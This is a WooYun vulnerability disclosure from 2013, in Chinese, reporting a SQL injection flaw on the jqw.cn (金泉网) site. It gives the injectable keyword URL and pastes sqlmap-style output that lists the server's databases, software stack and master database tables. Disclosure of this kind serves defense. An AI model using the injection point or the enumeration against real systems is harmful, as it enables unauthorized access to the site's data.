漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-043533
漏洞标题：金泉网主站sql注入漏洞一枚
相关厂商：金泉网
漏洞作者： 小Z
提交时间：2013-11-21 14:54
修复时间：2014-01-05 14:54
公开时间：2014-01-05 14:54
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-11-21： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-01-05： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
金泉网sql注入一枚
详细说明：
注入地址： http://www.jqw.cn/c.aspx?keyword=a'
漏洞证明：
available databases [7]:
[*] BIZ_157
[*] BizEn
[*] master
[*] model
[*] msdb
[*] SOADMIN
[*] tempdb
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[07:51:22] [INFO] fetching tables for database: master
[07:51:22] [INFO] the SQL query used returns 359 entries
[07:51:23] [INFO] retrieved: "sys.database_audit_specifications"
[07:51:24] [INFO] retrieved: "sys.database_files"
[07:51:25] [INFO] retrieved: "sys.database_mirroring"
[07:51:26] [INFO] retrieved: "sys.database_mirroring_endpoints"
[07:51:27] [INFO] retrieved: "sys.database_mirroring_witnesses"
[07:51:28] [INFO] retrieved: "sys.database_permissions"
[07:51:29] [INFO] retrieved: "sys.database_principal_aliases"
[07:51:30] [INFO] retrieved: "sys.database_principals"
[07:51:31] [INFO] retrieved: "sys.database_recovery_status"
[07:51:32] [INFO] retrieved: "sys.database_role_members"
[07:51:33] [INFO] retrieved: "sys.databases"
[07:51:34] [INFO] retrieved: "sys.default_constraints"
[07:51:35] [INFO] retrieved: "sys.destination_data_spaces"
[07:51:36] [INFO] retrieved: "sys.dm_audit_actions"
[07:51:37] [INFO] retrieved: "sys.dm_audit_class_type_map"
[07:51:38] [INFO] retrieved: "sys.dm_broker_activated_tasks"
[07:51:39] [INFO] retrieved: "sys.dm_broker_connections"
[07:51:39] [INFO] retrieved: "sys.dm_broker_forwarded_messages"
[07:51:40] [INFO] retrieved: "sys.dm_broker_queue_monitors"
[07:51:42] [INFO] retrieved: "sys.dm_cdc_errors"
[07:51:42] [INFO] retrieved: "sys.dm_cdc_log_scan_sessions"
[07:51:43] [INFO] retrieved: "sys.dm_clr_appdomains"
[07:51:44] [INFO] retrieved: "sys.dm_clr_loaded_assemblies"
...
响应太慢没有继续深入
修复方案：
加强过滤
版权声明：转载请注明来源 小Z@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝